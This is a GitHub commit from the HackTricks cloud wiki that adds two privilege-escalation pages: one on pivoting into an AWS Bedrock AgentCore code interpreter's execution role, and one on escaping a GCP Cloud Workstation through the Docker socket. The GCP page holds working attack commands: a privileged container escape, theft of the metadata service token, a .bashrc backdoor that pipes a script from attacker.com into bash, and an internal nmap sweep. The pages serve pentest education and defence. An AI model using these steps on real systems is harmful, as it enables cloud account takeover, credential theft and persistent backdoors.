Skip to content

Commit 7f51bac

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
2 parents 07ac612 + d5284ab commit 7f51bac

2 files changed

Lines changed: 231 additions & 0 deletions

File tree

Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
# AWS - Bedrock PrivEsc
2+
3+
{{#include ../../../../banners/hacktricks-training.md}}
4+
5+
## Amazon Bedrock AgentCore
6+
7+
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
8+
9+
AgentCore Code Interpreter is a managed execution environment. **Custom Code Interpreters** can be configured with an **`executionRoleArn`** that “provides permissions for the code interpreter to access AWS services”.
10+
11+
If a **lower-privileged IAM principal** can **start + invoke** a Code Interpreter session that is configured with a **more privileged execution role**, the caller can effectively **pivot into the execution role’s permissions** (lateral movement / privilege escalation depending on role scope).
12+
13+
> [!NOTE]
14+
> This is typically a **misconfiguration / excessive permissions** issue (granting wide permissions to the interpreter execution role and/or granting broad invoke access).
15+
> AWS explicitly warns to avoid privilege escalation by ensuring execution roles have **equal or fewer** privileges than identities allowed to invoke.
16+
17+
#### Preconditions (common misconfiguration)
18+
19+
- A **custom code interpreter** exists with an over-privileged **execution role** (ex: access to sensitive S3/Secrets/SSM or IAM-admin-like capabilities).
20+
- A user (developer/auditor/CI identity) has permissions to:
21+
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
22+
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
23+
- (Optional) The user can also create interpreters: `bedrock-agentcore:CreateCodeInterpreter` (lets them create a new interpreter configured with an execution role, depending on org guardrails).
24+
25+
#### Recon (identify custom interpreters and execution role usage)
26+
27+
List interpreters (control-plane) and inspect their configuration:
28+
29+
```bash
30+
aws bedrock-agentcore-control list-code-interpreters
31+
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
32+
````
33+
34+
> The create-code-interpreter command supports `--execution-role-arn` which defines what AWS permissions the interpreter will have.
35+
36+
#### Step 1 - Start a session (this returns a `sessionId`, not an interactive shell)
37+
38+
```bash
39+
SESSION_ID=$(
40+
aws bedrock-agentcore start-code-interpreter-session \
41+
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
42+
--name "arte-oussama" \
43+
--query sessionId \
44+
--output text
45+
)
46+
47+
echo "SessionId: $SESSION_ID"
48+
```
49+
50+
#### Step 2 - Invoke code execution (Boto3 or signed HTTPS)
51+
52+
There is **no interactive python shell** from `start-code-interpreter-session`. Execution happens via **InvokeCodeInterpreter**.
53+
54+
**Option A - Boto3 example (execute Python + verify identity):**
55+
56+
```python
57+
import boto3
58+
59+
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
60+
61+
# Execute python inside the Code Interpreter session
62+
resp = client.invoke_code_interpreter(
63+
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
64+
sessionId="<SESSION_ID>",
65+
name="executeCode",
66+
arguments={
67+
"language": "python",
68+
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
69+
}
70+
)
71+
72+
# Response is streamed; print events for visibility
73+
for event in resp.get("stream", []):
74+
print(event)
75+
```
76+
77+
If the interpreter is configured with an execution role, the `sts:GetCallerIdentity()` output should reflect that role’s identity (not the low-priv caller), demonstrating the pivot.
78+
79+
**Option B - Signed HTTPS call (awscurl):**
80+
81+
```bash
82+
awscurl -X POST \
83+
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
84+
-H "Content-Type: application/json" \
85+
-H "Accept: application/json" \
86+
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
87+
--service bedrock-agentcore \
88+
--region <Region> \
89+
-d '{
90+
"name": "executeCode",
91+
"arguments": {
92+
"language": "python",
93+
"code": "print(\"Hello from AgentCore\")"
94+
}
95+
}'
96+
```
97+
98+
#### Impact
99+
100+
* **Lateral movement** into whatever AWS access the interpreter execution role has.
101+
* **Privilege escalation** if the interpreter execution role is more privileged than the caller.
102+
* Harder detection if CloudTrail data events for interpreter invocations are not enabled (invocations may not be logged by default, depending on configuration).
103+
104+
#### Mitigations / Hardening
105+
106+
* **Least privilege** on the interpreter `executionRoleArn` (treat it like Lambda execution roles / CI roles).
107+
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) and who can start sessions.
108+
* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
109+
* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation.
110+
111+
## References
112+
113+
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
114+
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
115+
- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
116+
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
117+
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
118+
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
119+
120+
121+
{{#include ../../../../banners/hacktricks-training.md}}
122+
Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
# GCP - Cloud Workstations Privesc
2+
3+
4+
### Container Breakout via Docker Socket (Container -> VM -> Project)
5+
6+
The primary privilege escalation path in Cloud Workstations stems from the requirement to support **Docker-in-Docker (DinD)** workflows for developers. When the workstation configuration mounts the Docker socket or allows privileged containers (a common configuration), an attacker inside the workstation container can escape to the underlying Compute Engine VM and steal its service account token.
7+
8+
**Prerequisites:**
9+
- Access to a Cloud Workstation terminal (via SSH, compromised session, or stolen credentials)
10+
- The workstation configuration must mount `/var/run/docker.sock` or enable privileged containers
11+
12+
**Architecture context:** The workstation is a container (Layer 3) running on a Docker/Containerd runtime (Layer 2) on a GCE VM (Layer 1). The Docker socket gives direct access to the host's container runtime.
13+
14+
> [!NOTE]
15+
> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automates the full container escape and drops you into a root shell on the host VM.
16+
17+
<details>
18+
19+
<summary>Step 1: Check for Docker socket</summary>
20+
21+
```bash
22+
# Verify the Docker socket is available
23+
ls -l /var/run/docker.sock
24+
# Expected output: srw-rw---- 1 root docker 0 ...
25+
```
26+
27+
</details>
28+
29+
<details>
30+
31+
<summary>Step 2: Escape to the host VM filesystem</summary>
32+
33+
We launch a privileged container, mounting the host's root directory to `/mnt/host`. We also share the host's network and PID namespace to maximize visibility.
34+
35+
```bash
36+
# Spawn a privileged container mounting the host's root filesystem
37+
docker run -it --rm --privileged --net=host --pid=host \
38+
-v /:/mnt/host \
39+
alpine sh
40+
41+
# Inside the new container, chroot into the host
42+
chroot /mnt/host /bin/bash
43+
```
44+
45+
You now have a **root shell on the underlying Compute Engine VM** (Layer 1).
46+
47+
</details>
48+
49+
<details>
50+
51+
<summary>Step 3: Steal the VM service account token from IMDS</summary>
52+
53+
```bash
54+
# From the host VM, query the Instance Metadata Service
55+
curl -s -H "Metadata-Flavor: Google" \
56+
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
57+
58+
# Check which service account is attached
59+
curl -s -H "Metadata-Flavor: Google" \
60+
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
61+
62+
# Check scopes (CRITICAL STEP)
63+
curl -s -H "Metadata-Flavor: Google" \
64+
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
65+
```
66+
67+
</details>
68+
69+
> [!CAUTION]
70+
> **Check the Scopes!**
71+
> Even if the attached Service Account is **Editor**, the VM might be restricted by access scopes.
72+
> If you see `https://www.googleapis.com/auth/cloud-platform`, you have full access.
73+
> If you only see `logging.write` and `monitoring.write`, you are limited to the **Network Pivot** and **Persistence** vectors below.
74+
75+
<details>
76+
77+
<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
78+
79+
Cloud Workstations mount a persistent disk to `/home/user`. Because the container user (usually `user`, UID 1000) matches the host user (UID 1000), you can write to the host's home directory. This allows you to backdoor the environment even if the workstation container is rebuilt.
80+
81+
```bash
82+
# Check if you can write to the host's persistent home
83+
ls -la /mnt/host/home/user/
84+
85+
# Drop a backdoor that executes next time the developer logs in
86+
# Note: Do this from the container escape context
87+
echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
88+
```
89+
90+
</details>
91+
92+
<details>
93+
94+
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
95+
96+
Since you share the host network namespace (`--net=host`), you are now a trusted node on the VPC. You can scan for internal services that allow access based on IP whitelisting.
97+
98+
```bash
99+
# Install scanning tools on the host (if internet access allows)
100+
apk add nmap
101+
102+
# Scan the internal VPC subnet
103+
nmap -sS -p 80,443,22 10.0.0.0/8
104+
```
105+
106+
</details>
107+
108+
109+

0 commit comments

Comments
 (0)